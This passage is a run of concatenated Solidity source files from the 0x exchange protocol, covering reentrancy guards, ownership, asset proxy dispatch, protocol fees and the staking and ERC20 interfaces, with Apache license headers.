distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "./ReentrancyGuard.sol";
contract Refundable is
ReentrancyGuard
{
// This bool is used by the refund modifier to allow for lazily evaluated refunds.
bool internal _shouldNotRefund;
modifier refundFinalBalance {
_;
_refundNonZeroBalanceIfEnabled();
}
modifier refundFinalBalanceNoReentry {
_lockMutexOrThrowIfAlreadyLocked();
_;
_refundNonZeroBalanceIfEnabled();
_unlockMutex();
}
modifier disableRefundUntilEnd {
if (_areRefundsDisabled()) {
_;
} else {
_disableRefund();
_;
_enableAndRefundNonZeroBalance();
}
}
function _refundNonZeroBalanceIfEnabled()
internal
{
if (!_areRefundsDisabled()) {
_refundNonZeroBalance();
}
}
function _refundNonZeroBalance()
internal
{
uint256 balance = address(this).balance;
if (balance > 0) {
msg.sender.transfer(balance);
}
}
function _disableRefund()
internal
{
_shouldNotRefund = true;
}
function _enableAndRefundNonZeroBalance()
internal
{
_shouldNotRefund = false;
_refundNonZeroBalance();
}
function _areRefundsDisabled()
internal
view
returns (bool)
{
return _shouldNotRefund;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "./LibReentrancyGuardRichErrors.sol";
import "./LibRichErrors.sol";
contract ReentrancyGuard {
// Locked state of mutex.
bool private _locked = false;
/// @dev Functions with this modifer cannot be reentered. The mutex will be locked
/// before function execution and unlocked after.
modifier nonReentrant() {
_lockMutexOrThrowIfAlreadyLocked();
_;
_unlockMutex();
}
function _lockMutexOrThrowIfAlreadyLocked()
internal
{
// Ensure mutex is unlocked.
if (_locked) {
LibRichErrors.rrevert(
LibReentrancyGuardRichErrors.IllegalReentrancyError()
);
}
// Lock mutex.
_locked = true;
}
function _unlockMutex()
internal
{
// Unlock mutex.
_locked = false;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
library LibReentrancyGuardRichErrors {
// bytes4(keccak256("IllegalReentrancyError()"))
bytes internal constant ILLEGAL_REENTRANCY_ERROR_SELECTOR_BYTES =
hex"0c3b823f";
// solhint-disable func-name-mixedcase
function IllegalReentrancyError()
internal
pure
returns (bytes memory)
{
return ILLEGAL_REENTRANCY_ERROR_SELECTOR_BYTES;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
contract IExchangeCore {
// Fill event is emitted whenever an order is filled.
event Fill(
address indexed makerAddress, // Address that created the order.
address indexed feeRecipientAddress, // Address that received fees.
bytes makerAssetData, // Encoded data specific to makerAsset.
bytes takerAssetData, // Encoded data specific to takerAsset.
bytes makerFeeAssetData, // Encoded data specific to makerFeeAsset.
bytes takerFeeAssetData, // Encoded data specific to takerFeeAsset.
bytes32 indexed orderHash, // EIP712 hash of order (see LibOrder.getTypedDataHash).
address takerAddress, // Address that filled the order.
address senderAddress, // Address that called the Exchange contract (msg.sender).
uint256 makerAssetFilledAmount, // Amount of makerAsset sold by maker and bought by taker.
uint256 takerAssetFilledAmount, // Amount of takerAsset sold by taker and bought by maker.
uint256 makerFeePaid, // Amount of makerFeeAssetData paid to feeRecipient by maker.
uint256 takerFeePaid, // Amount of takerFeeAssetData paid to feeRecipient by taker.
uint256 protocolFeePaid // Amount of eth or weth paid to the staking contract.
);
// Cancel event is emitted whenever an individual order is cancelled.
event Cancel(
address indexed makerAddress, // Address that created the order.
address indexed feeRecipientAddress, // Address that would have recieved fees if order was filled.
bytes makerAssetData, // Encoded data specific to makerAsset.
bytes takerAssetData, // Encoded data specific to takerAsset.
address senderAddress, // Address that called the Exchange contract (msg.sender).
bytes32 indexed orderHash // EIP712 hash of order (see LibOrder.getTypedDataHash).
);
// CancelUpTo event is emitted whenever `cancelOrdersUpTo` is executed succesfully.
event CancelUpTo(
address indexed makerAddress, // Orders cancelled must have been created by this address.
address indexed orderSenderAddress, // Orders cancelled must have a `senderAddress` equal to this address.
uint256 orderEpoch // Orders with specified makerAddress and senderAddress with a salt less than this value are considered cancelled.
);
/// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch
/// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress).
/// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled.
function cancelOrdersUpTo(uint256 targetOrderEpoch)
external
payable;
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev After calling, the order can not be filled anymore.
/// @param order Order struct containing order specifications.
function cancelOrder(LibOrder.Order memory order)
public
payable;
/// @dev Gets information about an order: status, hash, and amount filled.
/// @param order Order to gather information on.
/// @return OrderInfo Information about the order and its state.
/// See LibOrder.OrderInfo for a complete description.
function getOrderInfo(LibOrder.Order memory order)
public
view
returns (LibOrder.OrderInfo memory orderInfo);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/Ownable.sol";
import "@0x/contracts-utils/contracts/src/LibBytes.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "./interfaces/IAssetProxy.sol";
import "./interfaces/IAssetProxyDispatcher.sol";
contract MixinAssetProxyDispatcher is
Ownable,
IAssetProxyDispatcher
{
using LibBytes for bytes;
// Mapping from Asset Proxy Id's to their respective Asset Proxy
mapping (bytes4 => address) internal _assetProxies;
/// @dev Registers an asset proxy to its asset proxy id.
/// Once an asset proxy is registered, it cannot be unregistered.
/// @param assetProxy Address of new asset proxy to register.
function registerAssetProxy(address assetProxy)
external
onlyOwner
{
// Ensure that no asset proxy exists with current id.
bytes4 assetProxyId = IAssetProxy(assetProxy).getProxyId();
address currentAssetProxy = _assetProxies[assetProxyId];
if (currentAssetProxy != address(0)) {
LibRichErrors.rrevert(LibExchangeRichErrors.AssetProxyExistsError(
assetProxyId,
currentAssetProxy
));
}
// Add asset proxy and log registration.
_assetProxies[assetProxyId] = assetProxy;
emit AssetProxyRegistered(
assetProxyId,
assetProxy
);
}
/// @dev Gets an asset proxy.
/// @param assetProxyId Id of the asset proxy.
/// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered.
function getAssetProxy(bytes4 assetProxyId)
external
view
returns (address)
{
return _assetProxies[assetProxyId];
}
/// @dev Forwards arguments to assetProxy and calls `transferFrom`. Either succeeds or throws.
/// @param orderHash Hash of the order associated with this transfer.
/// @param assetData Byte array encoded for the asset.
/// @param from Address to transfer token from.
/// @param to Address to transfer token to.
/// @param amount Amount of token to transfer.
function _dispatchTransferFrom(
bytes32 orderHash,
bytes memory assetData,
address from,
address to,
uint256 amount
)
internal
{
// Do nothing if no amount should be transferred.
if (amount > 0) {
// Ensure assetData is padded to 32 bytes (excluding the id) and is at least 4 bytes long
if (assetData.length % 32 != 4) {
LibRichErrors.rrevert(LibExchangeRichErrors.AssetProxyDispatchError(
LibExchangeRichErrors.AssetProxyDispatchErrorCodes.INVALID_ASSET_DATA_LENGTH,
orderHash,
assetData
));
}
// Lookup assetProxy.
bytes4 assetProxyId = assetData.readBytes4(0);
address assetProxy = _assetProxies[assetProxyId];
// Ensure that assetProxy exists
if (assetProxy == address(0)) {
LibRichErrors.rrevert(LibExchangeRichErrors.AssetProxyDispatchError(
LibExchangeRichErrors.AssetProxyDispatchErrorCodes.UNKNOWN_ASSET_PROXY,
orderHash,
assetData
));
}
// Construct the calldata for the transferFrom call.
bytes memory proxyCalldata = abi.encodeWithSelector(
IAssetProxy(address(0)).transferFrom.selector,
assetData,
from,
to,
amount
);
// Call the asset proxy's transferFrom function with the constructed calldata.
(bool didSucceed, bytes memory returnData) = assetProxy.call(proxyCalldata);
// If the transaction did not succeed, revert with the returned data.
if (!didSucceed) {
LibRichErrors.rrevert(LibExchangeRichErrors.AssetProxyTransferError(
orderHash,
assetData,
returnData
));
}
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "./interfaces/IOwnable.sol";
import "./LibOwnableRichErrors.sol";
import "./LibRichErrors.sol";
contract Ownable is
IOwnable
{
address public owner;
constructor ()
public
{
owner = msg.sender;
}
modifier onlyOwner() {
_assertSenderIsOwner();
_;
}
function transferOwnership(address newOwner)
public
onlyOwner
{
if (newOwner == address(0)) {
LibRichErrors.rrevert(LibOwnableRichErrors.TransferOwnerToZeroError());
} else {
owner = newOwner;
emit OwnershipTransferred(msg.sender, newOwner);
}
}
function _assertSenderIsOwner()
internal
view
{
if (msg.sender != owner) {
LibRichErrors.rrevert(LibOwnableRichErrors.OnlyOwnerError(
msg.sender,
owner
));
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
contract IOwnable {
/// @dev Emitted by Ownable when ownership is transferred.
/// @param previousOwner The previous owner of the contract.
/// @param newOwner The new owner of the contract.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev Transfers ownership of the contract to a new address.
/// @param newOwner The address that will become the owner.
function transferOwnership(address newOwner)
public;
}
pragma solidity ^0.5.9;
library LibOwnableRichErrors {
// bytes4(keccak256("OnlyOwnerError(address,address)"))
bytes4 internal constant ONLY_OWNER_ERROR_SELECTOR =
0x1de45ad1;
// bytes4(keccak256("TransferOwnerToZeroError()"))
bytes internal constant TRANSFER_OWNER_TO_ZERO_ERROR_BYTES =
hex"e69edc3e";
// solhint-disable func-name-mixedcase
function OnlyOwnerError(
address sender,
address owner
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ONLY_OWNER_ERROR_SELECTOR,
sender,
owner
);
}
function TransferOwnerToZeroError()
internal
pure
returns (bytes memory)
{
return TRANSFER_OWNER_TO_ZERO_ERROR_BYTES;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
contract IAssetProxy {
/// @dev Transfers assets. Either succeeds or throws.
/// @param assetData Byte array encoded for the respective asset proxy.
/// @param from Address to transfer asset from.
/// @param to Address to transfer asset to.
/// @param amount Amount of asset to transfer.
function transferFrom(
bytes calldata assetData,
address from,
address to,
uint256 amount
)
external;
/// @dev Gets the proxy id associated with the proxy address.
/// @return Proxy id.
function getProxyId()
external
pure
returns (bytes4);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
contract IAssetProxyDispatcher {
// Logs registration of new asset proxy
event AssetProxyRegistered(
bytes4 id, // Id of new registered AssetProxy.
address assetProxy // Address of new registered AssetProxy.
);
/// @dev Registers an asset proxy to its asset proxy id.
/// Once an asset proxy is registered, it cannot be unregistered.
/// @param assetProxy Address of new asset proxy to register.
function registerAssetProxy(address assetProxy)
external;
/// @dev Gets an asset proxy.
/// @param assetProxyId Id of the asset proxy.
/// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered.
function getAssetProxy(bytes4 assetProxyId)
external
view
returns (address);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/Ownable.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "@0x/contracts-staking/contracts/src/interfaces/IStaking.sol";
import "./interfaces/IProtocolFees.sol";
contract MixinProtocolFees is
IProtocolFees,
Ownable
{
// The protocol fee multiplier -- the owner can update this field.
uint256 public protocolFeeMultiplier;
// The address of the registered protocolFeeCollector contract -- the owner can update this field.
address public protocolFeeCollector;
/// @dev Allows the owner to update the protocol fee multiplier.
/// @param updatedProtocolFeeMultiplier The updated protocol fee multiplier.
function setProtocolFeeMultiplier(uint256 updatedProtocolFeeMultiplier)
external
onlyOwner
{
emit ProtocolFeeMultiplier(protocolFeeMultiplier, updatedProtocolFeeMultiplier);
protocolFeeMultiplier = updatedProtocolFeeMultiplier;
}
/// @dev Allows the owner to update the protocolFeeCollector address.
/// @param updatedProtocolFeeCollector The updated protocolFeeCollector contract address.
function setProtocolFeeCollectorAddress(address updatedProtocolFeeCollector)
external
onlyOwner
{
_setProtocolFeeCollectorAddress(updatedProtocolFeeCollector);
}
/// @dev Sets the protocolFeeCollector contract address to 0.
/// Only callable by owner.
function detachProtocolFeeCollector()
external
onlyOwner
{
_setProtocolFeeCollectorAddress(address(0));
}
/// @dev Sets the protocolFeeCollector address and emits an event.
/// @param updatedProtocolFeeCollector The updated protocolFeeCollector contract address.
function _setProtocolFeeCollectorAddress(address updatedProtocolFeeCollector)
internal
{
emit ProtocolFeeCollectorAddress(protocolFeeCollector, updatedProtocolFeeCollector);
protocolFeeCollector = updatedProtocolFeeCollector;
}
/// @dev Pays a protocol fee for a single fill.
/// @param orderHash Hash of the order being filled.
/// @param protocolFee Value of the fee being paid (equal to protocolFeeMultiplier * tx.gasPrice).
/// @param makerAddress Address of maker of order being filled.
/// @param takerAddress Address filling order.
function _paySingleProtocolFee(
bytes32 orderHash,
uint256 protocolFee,
address makerAddress,
address takerAddress
)
internal
returns (bool)
{
address feeCollector = protocolFeeCollector;
if (feeCollector != address(0)) {
_payProtocolFeeToFeeCollector(
orderHash,
feeCollector,
address(this).balance,
protocolFee,
makerAddress,
takerAddress
);
return true;
} else {
return false;
}
}
/// @dev Pays a protocol fee for two orders (used when settling functions in MixinMatchOrders)
/// @param orderHash1 Hash of the first order being filled.
/// @param orderHash2 Hash of the second order being filled.
/// @param protocolFee Value of the fee being paid (equal to protocolFeeMultiplier * tx.gasPrice).
/// @param makerAddress1 Address of maker of first order being filled.
/// @param makerAddress2 Address of maker of second order being filled.
/// @param takerAddress Address filling orders.
function _payTwoProtocolFees(
bytes32 orderHash1,
bytes32 orderHash2,
uint256 protocolFee,
address makerAddress1,
address makerAddress2,
address takerAddress
)
internal
returns (bool)
{
address feeCollector = protocolFeeCollector;
if (feeCollector != address(0)) {
// Since the `BALANCE` opcode costs 400 gas, we choose to calculate this value by hand rather than calling it twice.
uint256 exchangeBalance = address(this).balance;
// Pay protocol fee and attribute to first maker
uint256 valuePaid = _payProtocolFeeToFeeCollector(
orderHash1,
feeCollector,
exchangeBalance,
protocolFee,
makerAddress1,
takerAddress
);
// Pay protocol fee and attribute to second maker
_payProtocolFeeToFeeCollector(
orderHash2,
feeCollector,
exchangeBalance - valuePaid,
protocolFee,
makerAddress2,
takerAddress
);
return true;
} else {
return false;
}
}
/// @dev Pays a single protocol fee.
/// @param orderHash Hash of the order being filled.
/// @param feeCollector Address of protocolFeeCollector contract.
/// @param exchangeBalance Assumed ETH balance of Exchange contract (in wei).
/// @param protocolFee Value of the fee being paid (equal to protocolFeeMultiplier * tx.gasPrice).
/// @param makerAddress Address of maker of order being filled.
/// @param takerAddress Address filling order.
function _payProtocolFeeToFeeCollector(
bytes32 orderHash,
address feeCollector,
uint256 exchangeBalance,
uint256 protocolFee,
address makerAddress,
address takerAddress
)
internal
returns (uint256 valuePaid)
{
// Do not send a value with the call if the exchange has an insufficient balance
// The protocolFeeCollector contract will fallback to charging WETH
if (exchangeBalance >= protocolFee) {
valuePaid = protocolFee;
}
bytes memory payProtocolFeeData = abi.encodeWithSelector(
IStaking(address(0)).payProtocolFee.selector,
makerAddress,
takerAddress,
protocolFee
);
// solhint-disable-next-line avoid-call-value
(bool didSucceed, bytes memory returnData) = feeCollector.call.value(valuePaid)(payProtocolFeeData);
if (!didSucceed) {
LibRichErrors.rrevert(LibExchangeRichErrors.PayProtocolFeeError(
orderHash,
protocolFee,
makerAddress,
takerAddress,
returnData
));
}
return valuePaid;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/interfaces/IEtherToken.sol";
import "./IStructs.sol";
import "./IZrxVault.sol";
interface IStaking {
/// @dev Adds a new exchange address
/// @param addr Address of exchange contract to add
function addExchangeAddress(address addr)
external;
/// @dev Create a new staking pool. The sender will be the operator of this pool.
/// Note that an operator must be payable.
/// @param operatorShare Portion of rewards owned by the operator, in ppm.
/// @param addOperatorAsMaker Adds operator to the created pool as a maker for convenience iff true.
/// @return poolId The unique pool id generated for this pool.
function createStakingPool(uint32 operatorShare, bool addOperatorAsMaker)
external
returns (bytes32 poolId);
/// @dev Decreases the operator share for the given pool (i.e. increases pool rewards for members).
/// @param poolId Unique Id of pool.
/// @param newOperatorShare The newly decreased percentage of any rewards owned by the operator.
function decreaseStakingPoolOperatorShare(bytes32 poolId, uint32 newOperatorShare)
external;
/// @dev Begins a new epoch, preparing the prior one for finalization.
/// Throws if not enough time has passed between epochs or if the
/// previous epoch was not fully finalized.
/// @return numPoolsToFinalize The number of unfinalized pools.
function endEpoch()
external
returns (uint256);
/// @dev Instantly finalizes a single pool that earned rewards in the previous
/// epoch, crediting it rewards for members and withdrawing operator's
/// rewards as WETH. This can be called by internal functions that need
/// to finalize a pool immediately. Does nothing if the pool is already
/// finalized or did not earn rewards in the previous epoch.
/// @param poolId The pool ID to finalize.
function finalizePool(bytes32 poolId)
external;
/// @dev Initialize storage owned by this contract.
/// This function should not be called directly.
/// The StakingProxy contract will call it in `attachStakingContract()`.
function init()
external;
/// @dev Allows caller to join a staking pool as a maker.
/// @param poolId Unique id of pool.
function joinStakingPoolAsMaker(bytes32 poolId)
external;
/// @dev Moves stake between statuses: 'undelegated' or 'delegated'.
/// Delegated stake can also be moved between pools.
/// This change comes into effect next epoch.
/// @param from status to move stake out of.
/// @param to status to move stake into.
/// @param amount of stake to move.
function moveStake(
IStructs.StakeInfo calldata from,
IStructs.StakeInfo calldata to,
uint256 amount
)
external;
/// @dev Pays a protocol fee in ETH.
/// @param makerAddress The address of the order's maker.
/// @param payerAddress The address that is responsible for paying the protocol fee.
/// @param protocolFee The amount of protocol fees that should be paid.
function payProtocolFee(
address makerAddress,
address payerAddress,
uint256 protocolFee
)
external
payable;
/// @dev Removes an existing exchange address
/// @param addr Address of exchange contract to remove
function removeExchangeAddress(address addr)
external;
/// @dev Set all configurable parameters at once.
/// @param _epochDurationInSeconds Minimum seconds between epochs.
/// @param _rewardDelegatedStakeWeight How much delegated stake is weighted vs operator stake, in ppm.
/// @param _minimumPoolStake Minimum amount of stake required in a pool to collect rewards.
/// @param _cobbDouglasAlphaNumerator Numerator for cobb douglas alpha factor.
/// @param _cobbDouglasAlphaDenominator Denominator for cobb douglas alpha factor.
function setParams(
uint256 _epochDurationInSeconds,
uint32 _rewardDelegatedStakeWeight,
uint256 _minimumPoolStake,
uint32 _cobbDouglasAlphaNumerator,
uint32 _cobbDouglasAlphaDenominator
)
external;
/// @dev Stake ZRX tokens. Tokens are deposited into the ZRX Vault.
/// Unstake to retrieve the ZRX. Stake is in the 'Active' status.
/// @param amount of ZRX to stake.
function stake(uint256 amount)
external;
/// @dev Unstake. Tokens are withdrawn from the ZRX Vault and returned to
/// the staker. Stake must be in the 'undelegated' status in both the
/// current and next epoch in order to be unstaked.
/// @param amount of ZRX to unstake.
function unstake(uint256 amount)
external;
/// @dev Withdraws the caller's WETH rewards that have accumulated
/// until the last epoch.
/// @param poolId Unique id of pool.
function withdrawDelegatorRewards(bytes32 poolId)
external;
/// @dev Computes the reward balance in ETH of a specific member of a pool.
/// @param poolId Unique id of pool.
/// @param member The member of the pool.
/// @return totalReward Balance in ETH.
function computeRewardBalanceOfDelegator(bytes32 poolId, address member)
external
view
returns (uint256 reward);
/// @dev Computes the reward balance in ETH of the operator of a pool.
/// @param poolId Unique id of pool.
/// @return totalReward Balance in ETH.
function computeRewardBalanceOfOperator(bytes32 poolId)
external
view
returns (uint256 reward);
/// @dev Returns the earliest end time in seconds of this epoch.
/// The next epoch can begin once this time is reached.
/// Epoch period = [startTimeInSeconds..endTimeInSeconds)
/// @return Time in seconds.
function getCurrentEpochEarliestEndTimeInSeconds()
external
view
returns (uint256);
/// @dev Gets global stake for a given status.
/// @param stakeStatus UNDELEGATED or DELEGATED
/// @return Global stake for given status.
function getGlobalStakeByStatus(IStructs.StakeStatus stakeStatus)
external
view
returns (IStructs.StoredBalance memory balance);
/// @dev Gets an owner's stake balances by status.
/// @param staker Owner of stake.
/// @param stakeStatus UNDELEGATED or DELEGATED
/// @return Owner's stake balances for given status.
function getOwnerStakeByStatus(
address staker,
IStructs.StakeStatus stakeStatus
)
external
view
returns (IStructs.StoredBalance memory balance);
/// @dev Retrieves all configurable parameter values.
/// @return _epochDurationInSeconds Minimum seconds between epochs.
/// @return _rewardDelegatedStakeWeight How much delegated stake is weighted vs operator stake, in ppm.
/// @return _minimumPoolStake Minimum amount of stake required in a pool to collect rewards.
/// @return _cobbDouglasAlphaNumerator Numerator for cobb douglas alpha factor.
/// @return _cobbDouglasAlphaDenominator Denominator for cobb douglas alpha factor.
function getParams()
external
view
returns (
uint256 _epochDurationInSeconds,
uint32 _rewardDelegatedStakeWeight,
uint256 _minimumPoolStake,
uint32 _cobbDouglasAlphaNumerator,
uint32 _cobbDouglasAlphaDenominator
);
/// @param staker of stake.
/// @param poolId Unique Id of pool.
/// @return Stake delegated to pool by staker.
function getStakeDelegatedToPoolByOwner(address staker, bytes32 poolId)
external
view
returns (IStructs.StoredBalance memory balance);
/// @dev Returns a staking pool
/// @param poolId Unique id of pool.
function getStakingPool(bytes32 poolId)
external
view
returns (IStructs.Pool memory);
/// @dev Get stats on a staking pool in this epoch.
/// @param poolId Pool Id to query.
/// @return PoolStats struct for pool id.
function getStakingPoolStatsThisEpoch(bytes32 poolId)
external
view
returns (IStructs.PoolStats memory);
/// @dev Returns the total stake delegated to a specific staking pool,
/// across all members.
/// @param poolId Unique Id of pool.
/// @return Total stake delegated to pool.
function getTotalStakeDelegatedToPool(bytes32 poolId)
external
view
returns (IStructs.StoredBalance memory balance);
/// @dev An overridable way to access the deployed WETH contract.
/// Must be view to allow overrides to access state.
/// @return wethContract The WETH contract instance.
function getWethContract()
external
view
returns (IEtherToken wethContract);
/// @dev An overridable way to access the deployed zrxVault.
/// Must be view to allow overrides to access state.
/// @return zrxVault The zrxVault contract.
function getZrxVault()
external
view
returns (IZrxVault zrxVault);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "./IERC20Token.sol";
contract IEtherToken is
IERC20Token
{
function deposit()
public
payable;
function withdraw(uint256 amount)
public;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
contract IERC20Token {
// solhint-disable no-simple-event-func-name
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
/// @dev send `value` token to `to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transfer(address _to, uint256 _value)
external
returns (bool);
/// @dev send `value` token to `to` from `from` on the condition it is approved by `from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return True if transfer was successful
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool);
/// @dev `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Always true if the call has enough gas to complete execution
function approve(address _spender, uint256 _value)
external
returns (bool);
/// @dev Query total supply of token
/// @return Total supply of token
function totalSupply()
external
view
returns (uint256);
/// @param _owner The address from which the balance will be retrieved
/// @return Balance of owner
function balanceOf(address _owner)
external
view
returns (uint256);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender)
external
view
returns (uint256);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
interface IStructs {
/// @dev Stats for a pool that earned rewards.
/// @param feesCollected Fees collected in ETH by this pool.
/// @param weightedStake Amount of weighted stake in the pool.
/// @param membersStake Amount of non-operator stake in the pool.
struct PoolStats {
uint256 feesCollected;
uint256 weightedStake;
uint256 membersStake;
}
/// @dev Holds stats aggregated across a set of pools.
/// @param rewardsAvailable Rewards (ETH) available to the epoch
/// being finalized (the previous epoch). This is simply the balance
/// of the contract at the end of the epoch.
/// @param numPoolsToFinalize The number of pools that have yet to be finalized through `finalizePools()`.
/// @param totalFeesCollected The total fees collected for the epoch being finalized.
/// @param totalWeightedStake The total fees collected for the epoch being finalized.
/// @param totalRewardsFinalized Amount of rewards that have been paid during finalization.
struct AggregatedStats {
uint256 rewardsAvailable;
uint256 numPoolsToFinalize;
uint256 totalFeesCollected;
uint256 totalWeightedStake;
uint256 totalRewardsFinalized;
}
/// @dev Encapsulates a balance for the current and next epochs.
